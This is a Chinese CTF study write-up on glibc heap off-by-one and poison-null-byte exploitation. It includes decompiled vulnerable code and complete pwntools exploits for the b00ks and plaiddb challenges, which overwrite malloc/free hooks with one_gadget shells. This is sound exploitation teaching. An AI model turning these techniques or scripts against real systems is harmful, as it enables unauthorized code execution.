《CTF竞赛权威指南》|Off-By-One

堆中的Off-By-One

漏洞原理

off-by-one 是指单字节缓冲区溢出,这种漏洞的产生往往与边界验证不严和字符串操作有关,当然也不排除写入的 size 正好就只多了一个字节的情况。其中边界验证不严通常包括

  • 使用循环语句向堆块中写入数据时,循环的次数设置错误导致多写入了一个字节。
  • 字符串操作不合适,溢出结束符 ‘\x00’。

利用思路

  1. 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法

  2. 溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。

    (1) 这时可以选择使用 unlink 方法进行处理。

    (2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。

chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of previous chunk, if unallocated (P clear)  |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of chunk, in bytes                     |A|M|P|
  mem-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             User data starts here...                          .
        .                                                               .
        .             (malloc_usable_size() bytes)                      .
next    .                                                               |
chunk-> +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             (size of chunk, but used for application data)    |
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
        |             Size of next chunk, in bytes                |A|0|1|
        +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
  • NON_MAIN_ARENA,记录当前 chunk 是否不属于主线程,1表示不属于,0表示属于。
  • IS_MAPPED,记录当前 chunk 是否是由 mmap 分配的。
  • PREV_INUSE,记录前一个 chunk 块是否被分配。一般来说,堆中第一个被分配的内存块的 size 字段的P位都会被设置为1,以便于防止访问前面的非法内存。当一个 chunk 的 size 的 P 位为 0 时,我们能通过 prev_size 字段来获取上一个 chunk 的大小以及地址。这也方便进行空闲chunk之间的合并

最新版本代码中,已加入针对 2 中后一种方法的 check ,但是在 2.28 及之前版本并没有该 check 。

/* consolidate backward */
    if (!prev_inuse(p)) {
      prevsize = prev_size (p);
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      /* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */
      if (__glibc_unlikely (chunksize(p) != prevsize))
        malloc_printerr ("corrupted size vs. prev_size while consolidating");
      unlink_chunk (av, p);
    }

思路示例1

溢出任意字节

  1. 存在物理地址相连的四个chunk块a、b、c、d,chunk a存在off-by-one溢出时,我们可以将chunk b的size大小更改为chunk b的size加上chunk c的大小。

  2. free b时,chunk c的空间也会被一并归到chunk b的free chunk。

  3. 之后我们malloc一个合并起来size大小的chunk e,即malloc(0x180-8),会发现我们对chunk e操作时,可以对overlap的chunk c进行操作,我们并未free c,所以我们可以随意更改原本不能操作的heap header


    这里有一个疑问,单字节溢出应该只溢出一个字节,为什么连prev_size都能覆盖,似乎溢出的是0x9个字节,而且malloc为什么不是0x180,还减去0x8?

    这就是 ptmalloc 中 chunk 间的复用

    当两个相邻的chunk在一起时,如果前一个chunk处于使用状态,那么后一个chunk的prev_size成员就不使用了,这些看上去似乎是一种浪费。因此,系统做了如下的规定:

    当前一个chunk申请的数据空间申请的大小对16取余后,如果多出来的大小小于等于8字节,那么这个多出来的大小就放入下一个chunk的prev_size中存储。


思路示例2

只能溢出0字节(poison null byte)

  1. 存在物理地址相连的四个chunk块a、b、c、d,a存在溢出漏洞,b为被溢出chunk,free b
  2. 进行溢出,覆盖掉size最低字节为0,size从0x111->0x100,chunk被缩小,但next chunk c的prev_size仍为0x110——漏洞点

此时如果我们直接malloc(0x80),会出现报错"corrupted size vs. prev_size",这是因为unlink中加入了下述检查。

// 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致(size检查)
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");    

所以我们要在free b前布置一个fake chunk c,设置其prev_size = 0x100,与溢出后的chun b大小一致。


但是这里malloc(0x80)为什么会触发unlink?这里实现的操作应该是从unsorted bins上切割下0x90的大小给b1,且malloc中能够触发unlink的情况只能在malloc_consolidate,这里没有fastbins明显不能触发,很疑惑

之后我对malloc函数又进行了学习,解决了该疑惑。

首先是unlink的使用场景:

  • malloc:

    • 从恰好大小合适的 large bin 中获取 chunk。
    • 从比请求的 chunk 所在的 bin 大的 bin 中取 chunk。
  • free

    • 后向合并,合并物理相邻低地址空闲 chunk。
    • 前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。
  • malloc_consolidate

    • 后向合并,合并物理相邻低地址空闲 chunk。
    • 前向合并,合并物理相邻高地址空闲 chunk(除了 top chunk)。
  • realloc

    • 前向扩展,合并物理相邻高地址空闲 chunk(除了 top chunk)。

这里属于malloc的第二种,free的chunk b大小为0x110,属于small bin,首先被链入unsorted bin,在malloc分配时,搜索unsorted bin时,被链接到small bin,之后函数解析搜索,在large bin也无法满足时,通过binmap来寻找不为空的bin找打大于chunk大小的bin中切割分配,此时调用了unlink


  1. malloc b1、b2,malloc(0x80);malloc(0x40),malloc函数会从unsorted bins即chun b切割下0x90大小给b1,并设置reminder的状态以及其next chunk(fake chunk c)的prev_size为0x100-0x90 = 0x70,b2同理,最终形成如下图第一列的结构,其中fake prev_size = 0x20。
  2. free(b1);free©,在free c时,根据c的prev_size为0x110进行chunk查找到了b1,发现其为free状态,出发unlink操作,最终得到了一块实际大小为0x1a0的unsorted bin,
  3. malloc(0x190),我们就获取这一整块0x190大小的控制权,其中包括了还未释放的b2。


实例 1: Asis CTF 2016 b00ks

程序分析

题目是一个常见的选单式程序,功能是一个图书管理系统。

1. Create a book
2. Delete a book
3. Edit a book
4. Print book detail
5. Change current author name
6. Exit

程序每创建一个 book 会分配 0x20 字节的结构来维护它的信息

struct book
{
    int id;
    char *name;
    char *description;
    int size;
}
struct book *book[20];

Create

book 结构中存在 name 和 description, 在堆上分配。

首先分配 name buffer ,使用 malloc ,大小自定 。

printf("\nEnter book name size: ", *(_QWORD *)&size);
__isoc99_scanf("%d", &size);
printf("Enter book name (Max 32 chars): ", &size);
ptr = malloc(size);

之后分配 description ,同样大小自定。

printf("\nEnter book description size: ", *(_QWORD *)&size);
        __isoc99_scanf("%d", &size);
v5 = malloc(size);

之后分配 book 结构的内存,固定大小0x20。

book = malloc(0x20uLL);
if ( book )
{
    *((_DWORD *)book + 6) = size;
    *((_QWORD *)off_202010 + v2) = book;
    *((_QWORD *)book + 2) = description;
    *((_QWORD *)book + 1) = name;
    *(_DWORD *)book = ++unk_202024;
    return 0LL;
}

漏洞

程序编写的 read 函数存在 null byte off-by-one 漏洞,仔细观察这个 read 函数可以发现对于边界的考虑是不当的

signed __int64 __fastcall my_read(_BYTE *ptr, int number)
{
  int i; // [rsp+14h] [rbp-Ch]
  _BYTE *buf; // [rsp+18h] [rbp-8h]

  if ( number <= 0 )
    return 0LL;
  buf = ptr;
  for ( i = 0; ; ++i )
  {
    if ( (unsigned int)read(0, buf, 1uLL) != 1 )
      return 1LL;
    if ( *buf == '\n' )
      break;
    ++buf;
    if ( i == number )
      break;
  }
  *buf = 0;
  return 0LL;
}

利用

泄露堆指针

因为程序中的 my_read 函数存在 null byte off-by-one ,事实上 my_read 读入的结束符 ‘\x00’ 是写入到 0x555555756060 的位置的。这样当 0x555555756060~0x555555756068 写入 book 指针时就会覆盖掉结束符 ‘\x00’ ,所以这里是存在一个地址泄漏的漏洞。通过打印 author name 就可以获得 pointer array 中第一项的值。

通过ida和gdb的查看,我们发现author name后面紧接着的就是book[0]的地址,由此我们得到了book1_addr和book2_addr。

0x555555756040: 0x6161616161616161  0x6161616161616161
0x555555756050: 0x6161616161616161  0x6161616161616161   <== author name
0x555555756060: 0x0000555555757480 <== pointer array    0x0000000000000000
0x555555756070: 0x0000000000000000  0x0000000000000000
0x555555756080: 0x0000000000000000  0x0000000000000000
  def leak_heap():
    global book2_addr
    
    io.sendlineafter("name: ", "A" * 0x20)    #on this moment,don't overlap books,which is not constructed
    Create(0xd0, "AAAA", 0x20, "AAAA")          # book1
    Create(0x21000, "AAAA", 0x21000, "AAAA")    # book2

    Print()
    io.recvuntil("A"*0x20)
    book1_addr = u64(io.recvn(6).ljust(8, b"\x00"))
    book2_addr = book1_addr + 0x30

    log.info("book2 address: 0x%x" % book2_addr)

再上述操作后,heap构造如下图所示,

泄露libc(off-by-one)

程序中同样提供了一种 change 功能, change 功能用于修改 author name ,所以通过 change 可以写入 author name ,利用 off-by-one 覆盖 pointer array 第一个项的低字节(book[0]的最低字节地址)。

覆盖掉 book1 指针的低字节后,这个指针会指向 book1 的 description ,由于程序提供了 edit 功能可以任意修改 description 中的内容。我们可以提前在 description 中布置数据伪造成一个 book 结构,这个 book 结构的 description 和 name 指针可以由直接控制。

def leak_libc():
    global libc_base

    fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
    Edit(1, fake_book)
    Change("A" * 0x20)

    Print()
    io.recvuntil("Name: ")
    leak_addr = u64(io.recvn(6).ljust(8, b"\x00"))
    libc_base = leak_addr - 0x5ca010        # mmap_addr - libc_base

    log.info("libc address: 0x%x" % libc_base)

    这道题的巧妙之处在于在分配第二个 book 时,使用一个很大的尺寸,使得堆以 mmap 模式进行拓展。我们知道堆有两种拓展方式一种是 brk 会直接拓展原来的堆,另一种是 mmap 会单独映射一块内存。**且 mmap 分配的内存与 libc 之前存在固定的偏移因此可以推算出 libc 的基地址**。
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000401000 0x0000000000000000 r-x /home/vb/ 桌面 /123/123
0x0000000000600000 0x0000000000601000 0x0000000000000000 r-- /home/vb/ 桌面 /123/123
0x0000000000601000 0x0000000000602000 0x0000000000001000 rw- /home/vb/ 桌面 /123/123
0x00007f6572703000 0x00007f65728c3000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f65728c3000 0x00007f6572ac3000 0x00000000001c0000 --- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f6572ac3000 0x00007f6572ac7000 0x00000000001c0000 r-- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f6572ac7000 0x00007f6572ac9000 0x00000000001c4000 rw- /lib/x86_64-linux-gnu/libc-2.23.so
0x00007f6572ac9000 0x00007f6572acd000 0x0000000000000000 rw-
0x00007f6572acd000 0x00007f6572af3000 0x0000000000000000 r-x /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f6572cb4000 0x00007f6572cd9000 0x0000000000000000 rw- <========= mmap
0x00007f6572cf2000 0x00007f6572cf3000 0x0000000000025000 r-- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f6572cf3000 0x00007f6572cf4000 0x0000000000026000 rw- /lib/x86_64-linux-gnu/ld-2.23.so
0x00007f6572cf4000 0x00007f6572cf5000 0x0000000000000000 rw-
0x00007fffec566000 0x00007fffec587000 0x0000000000000000 rw- [stack]
0x00007fffec59c000 0x00007fffec59f000 0x0000000000000000 r-- [vvar]
0x00007fffec59f000 0x00007fffec5a1000 0x0000000000000000 r-x [vdso]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]

覆写free_hook为OGG

    此时我们已经将book[0]的指针指向了fake book,所以我们能通过修改book[0]的description来控制fake book中description指针指向的区域。所以我们之前将fake book的description指向book2+8的位置,这样我们就能修改book2的name和description的指针,例如修改为**free_hook**的位置,从而套娃继续修改book2的description,也就是free_hook为我们的one_gadget。
def overwrite():
    free_hook = libc.symbols['__free_hook'] + libc_base
    one_gadget = libc_base + 0x4527a

    fake_book = p64(free_hook) * 2
    Edit(1, fake_book)
    fake_book = p64(one_gadget)
    Edit(2, fake_book)

exploit

#!/usr/bin/python
#encoding:utf-8

from pwn import *

context.arch = 'amd64'
#context.log_level = 'debug'

fn = './b00ks'
elf = ELF(fn)
libc = ELF('/home/datal/tools/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')

debug = 0
if debug:
    io = remote('node4.buuoj.cn', 29198)

else:
    io = process(fn)
def Create(nsize, name, dsize, desc):
    io.sendlineafter("> ", '1')
    io.sendlineafter("name size: ", str(nsize))
    io.sendlineafter("name (Max 32 chars): ", name)
    io.sendlineafter("description size: ", str(dsize))
    io.sendlineafter("description: ", desc)

def Delete(idx):
    io.sendlineafter("> ", '2')
    io.sendlineafter("delete: ", str(idx))

def Edit(idx, desc):
    io.sendlineafter("> ", '3')
    io.sendlineafter("edit: ", str(idx))
    io.sendlineafter("description: ", desc)

def Print():
    io.sendlineafter("> ", '4')

def Change(name):
    io.sendlineafter("> ", '5')
    io.sendlineafter("name: ", name)

def leak_heap():
    global book2_addr

    io.sendlineafter("name: ", "A" * 0x20)    #on this moment,don't overlap books,which is not constructed
    Create(0xd0, "AAAA", 0x20, "AAAA")          # book1
    Create(0x21000, "AAAA", 0x21000, "AAAA")    # book2

    Print()
    io.recvuntil("A"*0x20)
    book1_addr = u64(io.recvn(6).ljust(8, b"\x00"))
    book2_addr = book1_addr + 0x30

    log.info("book2 address: 0x%x" % book2_addr)


def leak_libc():
    global libc_base

    fake_book = p64(1) + p64(book2_addr + 0x8) * 2 + p64(0x20)
    Edit(1, fake_book)
    Change("A" * 0x20)

    Print()
    io.recvuntil("Name: ")
    leak_addr = u64(io.recvn(6).ljust(8, b"\x00"))
    libc_base = leak_addr - 0x5ca010        # mmap_addr - libc_base

    log.info("libc address: 0x%x" % libc_base)
'''
0x45226 execve("/bin/sh", rsp+0x30, environ)
constraints:
  rax == NULL

0x4527a execve("/bin/sh", rsp+0x30, environ)
constraints:
  [rsp+0x30] == NULL

0xf03a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
  [rsp+0x50] == NULL

0xf1247 execve("/bin/sh", rsp+0x70, environ)
constraints:
  [rsp+0x70] == NULL
'''
def overwrite():
    free_hook = libc.symbols['__free_hook'] + libc_base
    one_gadget = libc_base + 0x4527a

    fake_book = p64(free_hook) * 2
    Edit(1, fake_book)
    fake_book = p64(one_gadget)
    Edit(2, fake_book)

def pwn():
    Delete(2)
    io.interactive()

if __name__ == "__main__":
    leak_heap()
    leak_libc()
    overwrite()
    pwn()

实例 2 : plaidctf 2015 plaiddb

程序分析

这道题没有找到文件和环境,只能根据书上的内容和CTFwiki理解。

关键数据结构

struct Node {
    char *key;
    long data_size;
    char *data;
    struct Node *left;
    struct Node *right;
    long dummy;
    long dummy1;
}

getline读取

char *__fastcall getline(__int64 a1, __int64 a2)
{
  char *v2; // r12
  char *v3; // rbx
  size_t v4; // r14
  char v5; // al
  char v6; // bp
  signed __int64 v7; // r13
  char *v8; // rax

  v2 = (char *)malloc(8uLL); // 一开始使用 malloc(8) 进行分配
  v3 = v2;
  v4 = malloc_usable_size(v2); // 计算了可用大小,例如对于 malloc(8) 来说,这里应该为24
  while ( 1 )
  {
    v5 = _IO_getc(stdin);
    v6 = v5;
    if ( v5 == -1 )
      bye();
    if ( v5 == 10 )
      break;
    v7 = v3 - v2;
    if ( v4 <= v3 - v2 )
    {
      v8 = (char *)realloc(v2, 2 * v4); // 大小不够是将可用大小乘二,进行 realloc
      v2 = v8;
      if ( !v8 )
      {
        puts("FATAL: Out of memory");
        exit(-1);
      }
      v3 = &v8[v7];
      v4 = malloc_usable_size(v8);
    }
    *v3++ = v6; // <--- 漏洞所在,此时 v3 作为索引,指向了下一个位置,如果位置全部使用完毕则会指向下一个本应该不可写位置 
  }
  *v3 = 0; // <--- 漏洞所在。 off by one (NULL 字节溢出)
  return v2;
}

put

__int64 __fastcall cmd_put()
{
  __int64 v0; // rsi
  Node *row; // rbx
  unsigned __int64 sz; // rax
  char *v3; // rax
  __int64 v4; // rbp
  __int64 result; // rax
  __int64 v6; // [rsp+0h] [rbp-38h]
  unsigned __int64 v7; // [rsp+18h] [rbp-20h]

  v7 = __readfsqword(0x28u);
  row = (Node *)malloc(0x38uLL);
  if ( !row )
  {
    puts("FATAL: Can't allocate a row");
    exit(-1);
  }
  puts("PROMPT: Enter row key:");
  row->key = getline((__int64)"PROMPT: Enter row key:", v0);
  puts("PROMPT: Enter data size:");
  gets_checked((char *)&v6, 16LL);
  sz = strtoul((const char *)&v6, 0LL, 0);
  row->data_size = sz;
  v3 = (char *)malloc(sz);
  row->data = v3;
  if ( v3 )
  {
    puts("PROMPT: Enter data:");
    fread_checked(row->data, row->data_size);
    v4 = insert_node(row);
    if ( v4 )
    {
      free(row->key);
      free(*(void **)(v4 + 16));
      *(_QWORD *)(v4 + 8) = row->data_size;
      *(_QWORD *)(v4 + 16) = row->data;
      free(row);
      puts("INFO: Update successful.");
    }
    else
    {
      puts("INFO: Insert successful.");
    }
    result = __readfsqword(0x28u) ^ v7;
  }
  else
  {
    puts("ERROR: Can't store that much data.");
    free(row->key);
    free(row);
  }
  return result;
}

分配过程:

  1. malloc(0x38) (结构体)
  2. getline (malloc 和 realloc)
  3. malloc(size) 可控大小
  4. 读入 size 字节内容

利用

这里讲述一个技巧,程序中生成的struct有碎片堆生成,为了不影响之后的操作,可以先提前申请一些相应大小的chunk再释放,这样无关的零散chunk再后续操作中就不会影响到关键chunk之间物理相邻。比如下述代码:

for i in range(0, 10):
    PUT(str(i), 0x38, str(i)*0x37)
for i in range(0, 10):
    DEL(str(i))

leak libc

这里创建了连续的大小为0x80,0x110,0x90,0x90。本题直接跳到进行poison null byte阶段,之前的程序分析详情请看CTFwiki的off-by-one。

首先进行off-by-one,这里利用chunk的空间复用,先申请0x80,free后再申请0x78大小的chunk,这样就可以利用next chunk的prev_size。

PUT("A", 0x71, "A"*0x70)
    PUT("B", 0x101, "B"*0x100)
    PUT("C", 0x81, "C"*0x80)
    PUT("def", 0x81, "d"*0x80)

    DEL("A")
    DEL("B")
    PUT("A"*0x78, 0x11, "A"*0x10)        # posion null byte

之后通过申请B1,B2,并free B1和C进行合并,chunk B2被包含在这个合并chunk中。

PUT("B1", 0x81, "X"*0x80)
    PUT("B2", 0x41, "Y"*0x40)
    DEL("B1")
    DEL("C")                            # overlap chunkB2

    PUT("B1", 0x81, "X"*0x80)
    libc_base = u64(GET("B2")[:8]) - 0x39bb78
    log.info("libc address: 0x%x" % libc_base)  

这里再次申请B1大小对应的chunk再从unsorted bins中切割出来,那么B2chunk的fd,bk就会被有了libc的地址,我们利用程序的GET就可以打印出来,之后就能得到malloc_hook和one_gadget的地址。

《CTF竞赛权威指南》|Off-By-One_第1张图片

之后就要设法对malloc_hook进行覆写,很明显我们要围绕着overlap的chunk B2做文章。

我们这里尝试fastbin attack,将chunk B2free到fastbins中,又因为其是overlap chunk,所有能对其进行更改数据的操作,将其fd更改为malloc_addr之前的地址,之后申请两次对应大小chunk就可以更改hook。

exploit

from pwn import *

io = remote('127.0.0.1', 10001)        # io = process("./datastore_223")
libc = ELF('/usr/local/glibc-2.23/lib/libc-2.23.so')

def PUT(key, size, data):
    io.sendlineafter("command:", "PUT")
    io.sendlineafter("key", key)
    io.sendlineafter("size", str(size))
    io.sendlineafter("data", data)

def GET(key):
    io.sendlineafter("command:", "GET")
    io.sendlineafter("key", key)
    io.recvuntil("bytes]:\n")
    return io.recvline()

def DEL(key):
    io.sendlineafter("command:", "DEL")
    io.sendlineafter("key", key)

for i in range(0, 10):
    PUT(str(i), 0x38, str(i)*0x37)
for i in range(0, 10):
    DEL(str(i))

def leak_libc():
    global libc_base

    PUT("A", 0x71, "A"*0x70)
    PUT("B", 0x101, "B"*0x100)
    PUT("C", 0x81, "C"*0x80)
    PUT("def", 0x81, "d"*0x80)

    DEL("A")
    DEL("B")
    PUT("A"*0x78, 0x11, "A"*0x10)        # posion null byte

    PUT("B1", 0x81, "X"*0x80)
    PUT("B2", 0x41, "Y"*0x40)
    DEL("B1")
    DEL("C")                            # overlap chunkB2

    PUT("B1", 0x81, "X"*0x80)
    libc_base = u64(GET("B2")[:8]) - 0x39bb78
    log.info("libc address: 0x%x" % libc_base)

def pwn():
    one_gadget = libc_base + 0x3f44a
    malloc_hook = libc.symbols['__malloc_hook'] + libc_base

    DEL("B1")
    payload  = p64(0)*16 + p64(0) + p64(0x71)
    payload += p64(0)*12 + p64(0) + p64(0x21)
    PUT("B1", 0x191, payload.ljust(0x190, "B"))

    DEL("B2")
    DEL("B1")
    payload = p64(0)*16 + p64(0) + p64(0x71) + p64(malloc_hook-0x23)
    PUT("B1", 0x191, payload.ljust(0x190, "B"))

    PUT("D", 0X61, "D"*0x60)
    payload = p8(0)*0x13 + p64(one_gadget)
    PUT("E", 0X61, payload.ljust(0x60, "E"))

    io.sendline("GET")
    io.interactive()

if __name__ == '__main__':
    leak_libc()
    pwn()

你可能感兴趣的:(pwn,安全,系统安全)